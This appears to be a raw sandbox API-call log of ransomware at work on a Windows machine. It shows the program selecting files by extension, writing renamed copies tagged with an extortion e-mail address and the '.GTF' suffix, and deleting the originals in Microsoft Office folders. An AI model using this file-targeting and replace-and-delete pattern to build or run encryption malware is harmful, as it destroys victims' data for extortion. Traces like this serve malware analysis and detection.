	[0166.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0166.206] GetLastError () returned 0x0
	[0166.206] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x480a2, lpOverlapped=0x0) returned 1
	[0166.217] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x480b0, lpOverlapped=0x0) returned 1
	[0166.441] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.441] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xea, lpOverlapped=0x0) returned 1
	[0166.441] SetEndOfFile (hFile=0x504) returned 1
	[0166.441] CloseHandle (hObject=0x504) returned 1
	[0166.441] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.441] SetEndOfFile (hFile=0x54c) returned 1
	[0166.449] CloseHandle (hObject=0x54c) returned 1
	[0166.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1
	[0166.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.450] lstrlenW (lpString=".doc") returned 4
	[0166.451] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".docx") returned 5
	[0166.451] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.451] lstrlenW (lpString=".pdf") returned 4
	[0166.451] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".xls") returned 4
	[0166.451] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".xlsx") returned 5
	[0166.451] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.451] lstrlenW (lpString=".ppt") returned 4
	[0166.451] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.451] lstrlenW (lpString=".zip") returned 4
	[0166.451] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".rar") returned 4
	[0166.451] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".bz2") returned 4
	[0166.451] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".7z") returned 3
	[0166.451] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.451] lstrlenW (lpString=".dbf") returned 4
	[0166.451] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.451] lstrlenW (lpString=".1cd") returned 4
	[0166.451] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.451] lstrlenW (lpString=".jpg") returned 4
	[0166.451] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.451] lstrlenW (lpString=".doc") returned 4
	[0166.451] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.451] lstrlenW (lpString=".docx") returned 5
	[0166.451] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.451] lstrlenW (lpString=".pdf") returned 4
	[0166.452] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString=".xls") returned 4
	[0166.452] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString=".xlsx") returned 5
	[0166.452] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.452] lstrlenW (lpString=".ppt") returned 4
	[0166.452] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.452] lstrlenW (lpString=".zip") returned 4
	[0166.452] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString=".rar") returned 4
	[0166.452] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString=".bz2") returned 4
	[0166.452] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString=".7z") returned 3
	[0166.452] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.452] lstrlenW (lpString=".dbf") returned 4
	[0166.452] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.452] lstrlenW (lpString=".1cd") returned 4
	[0166.452] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0166.452] lstrlenW (lpString=".jpg") returned 4
	[0166.452] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.452] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.452] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33
	[0166.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0166.578] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23232) returned 1
	[0166.578] CloseHandle (hObject=0x55c) returned 1
	[0166.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220
	[0166.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.579] lstrlenW (lpString=".doc") returned 4
	[0166.579] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.579] lstrlenW (lpString=".docx") returned 5
	[0166.579] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.579] lstrlenW (lpString=".pdf") returned 4
	[0166.579] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.579] lstrlenW (lpString=".xls") returned 4
	[0166.579] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.579] lstrlenW (lpString=".xlsx") returned 5
	[0166.579] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.579] lstrlenW (lpString=".ppt") returned 4
	[0166.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.579] lstrlenW (lpString=".zip") returned 4
	[0166.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.579] lstrlenW (lpString=".rar") returned 4
	[0166.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.579] lstrlenW (lpString=".bz2") returned 4
	[0166.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.579] lstrlenW (lpString=".7z") returned 3
	[0166.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.579] lstrlenW (lpString=".dbf") returned 4
	[0166.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.579] lstrlenW (lpString=".1cd") returned 4
	[0166.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.579] lstrlenW (lpString=".jpg") returned 4
	[0166.579] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.580] lstrlenW (lpString=".doc") returned 4
	[0166.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString=".docx") returned 5
	[0166.580] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.580] lstrlenW (lpString=".pdf") returned 4
	[0166.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString=".xls") returned 4
	[0166.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString=".xlsx") returned 5
	[0166.580] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.580] lstrlenW (lpString=".ppt") returned 4
	[0166.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.580] lstrlenW (lpString=".zip") returned 4
	[0166.580] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString=".rar") returned 4
	[0166.580] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.580] lstrlenW (lpString=".bz2") returned 4
	[0166.580] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.580] lstrlenW (lpString=".7z") returned 3
	[0166.580] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.580] lstrlenW (lpString=".dbf") returned 4
	[0166.580] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.580] lstrlenW (lpString=".1cd") returned 4
	[0166.580] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-runtime-l1-1-0.dll") returned 82
	[0166.580] lstrlenW (lpString=".jpg") returned 4
	[0166.580] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.581] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.581] lstrlenW (lpString="AppVStreamMap.dll") returned 17
	[0166.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.583] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=194776) returned 1
	[0166.583] CloseHandle (hObject=0x54c) returned 1
	[0166.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220
	[0166.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.584] lstrlenW (lpString=".doc") returned 4
	[0166.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.584] lstrlenW (lpString=".docx") returned 5
	[0166.584] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0166.584] lstrlenW (lpString=".pdf") returned 4
	[0166.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.584] lstrlenW (lpString=".xls") returned 4
	[0166.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.584] lstrlenW (lpString=".xlsx") returned 5
	[0166.584] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0166.584] lstrlenW (lpString=".ppt") returned 4
	[0166.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.584] lstrlenW (lpString=".zip") returned 4
	[0166.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.584] lstrlenW (lpString=".rar") returned 4
	[0166.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.584] lstrlenW (lpString=".bz2") returned 4
	[0166.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.584] lstrlenW (lpString=".7z") returned 3
	[0166.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.584] lstrlenW (lpString=".dbf") returned 4
	[0166.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.584] lstrlenW (lpString=".1cd") returned 4
	[0166.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.584] lstrlenW (lpString=".jpg") returned 4
	[0166.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.585] lstrlenW (lpString=".doc") returned 4
	[0166.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString=".docx") returned 5
	[0166.585] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0166.585] lstrlenW (lpString=".pdf") returned 4
	[0166.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString=".xls") returned 4
	[0166.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString=".xlsx") returned 5
	[0166.585] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0166.585] lstrlenW (lpString=".ppt") returned 4
	[0166.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.585] lstrlenW (lpString=".zip") returned 4
	[0166.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString=".rar") returned 4
	[0166.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.585] lstrlenW (lpString=".bz2") returned 4
	[0166.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.585] lstrlenW (lpString=".7z") returned 3
	[0166.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.585] lstrlenW (lpString=".dbf") returned 4
	[0166.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.585] lstrlenW (lpString=".1cd") returned 4
	[0166.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0166.585] lstrlenW (lpString=".jpg") returned 4
	[0166.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.586] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.586] lstrlenW (lpString="concrt140.dll") returned 13
	[0166.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.587] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=243520) returned 1
	[0166.587] CloseHandle (hObject=0x54c) returned 1
	[0166.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220
	[0166.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString=".doc") returned 4
	[0166.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString=".docx") returned 5
	[0166.589] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.589] lstrlenW (lpString=".pdf") returned 4
	[0166.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString=".xls") returned 4
	[0166.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString=".xlsx") returned 5
	[0166.589] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.589] lstrlenW (lpString=".ppt") returned 4
	[0166.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString=".zip") returned 4
	[0166.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString=".rar") returned 4
	[0166.589] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString=".bz2") returned 4
	[0166.589] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.589] lstrlenW (lpString=".7z") returned 3
	[0166.589] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString=".dbf") returned 4
	[0166.589] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString=".1cd") returned 4
	[0166.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString=".jpg") returned 4
	[0166.589] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.589] lstrlenW (lpString=".doc") returned 4
	[0166.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.590] lstrlenW (lpString=".docx") returned 5
	[0166.590] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.590] lstrlenW (lpString=".pdf") returned 4
	[0166.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.590] lstrlenW (lpString=".xls") returned 4
	[0166.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.590] lstrlenW (lpString=".xlsx") returned 5
	[0166.590] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.590] lstrlenW (lpString=".ppt") returned 4
	[0166.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.590] lstrlenW (lpString=".zip") returned 4
	[0166.590] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.590] lstrlenW (lpString=".rar") returned 4
	[0166.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.590] lstrlenW (lpString=".bz2") returned 4
	[0166.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.590] lstrlenW (lpString=".7z") returned 3
	[0166.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.590] lstrlenW (lpString=".dbf") returned 4
	[0166.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.590] lstrlenW (lpString=".1cd") returned 4
	[0166.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0166.591] lstrlenW (lpString=".jpg") returned 4
	[0166.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.591] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0166.591] lstrlenW (lpString="Flattener.exe") returned 13
	[0166.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.592] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=45664) returned 1
	[0166.592] CloseHandle (hObject=0x54c) returned 1
	[0166.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220
	[0166.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
